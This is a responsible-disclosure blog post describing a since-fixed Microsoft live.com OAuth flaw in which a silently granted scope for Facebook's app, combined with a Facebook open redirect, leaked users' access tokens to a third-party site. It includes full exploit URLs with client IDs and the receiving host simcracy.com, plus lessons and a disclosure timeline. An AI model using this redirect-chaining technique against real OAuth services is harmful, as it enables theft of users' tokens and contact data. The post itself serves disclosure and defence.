How Microsoft is giving your data to Facebook… and everyone else

A lot has been written about dangers of mistakes in OAuth implementations. Here’s another story. Microsoft uses a specialized OAuth scope wli.contacts_emails which is available only to Facebook’s app. An interesting part is that users are never notified that the app is trying to access their data and permission is granted silently. You can try this here (you’ll have to login):

https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F

As you can see OAuth token was just sent to Facebook. Silently granting permission to Facebook probably is not the worst thing (we do trust Facebook, right?). So let’s continue…

If you try to modify “redirect_uri” parameter you’ll notice that token is issued to any URL within facebook.com domain. So to leak the OAuth token to a malicious third-party an Open Redirect in facebook.com domain would be required. As Open Redirects are usually considered low severity vulnerabilities it's not particularly hard to find one. For this example we will utilize an Open Redirect in Facebook’s authorization flow (by providing an invalid ‘scope’ parameter). It works like this:

https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com

So by chaining the two bugs we are able to acquire OAuth tokens from live.com users. The complete example is here:

https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com

If you now inspect the destination URL, you'll notice that Microsoft's OAuth token was sent to a third-party website without your consent.

Lessons learned:

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect. Also developers should be careful when silently granting access to apps (manually approving an app probably will not make user experience much worse). Timeline: 2013/11/19 - OAuth vulnerability reported to Microsoft 2013/11/27 - Open Redirect vulnerability reported to Facebook 2014/09/16 - Public disclosure

Update [2014/09/17]: Microsoft has fixed the OAuth vulnerability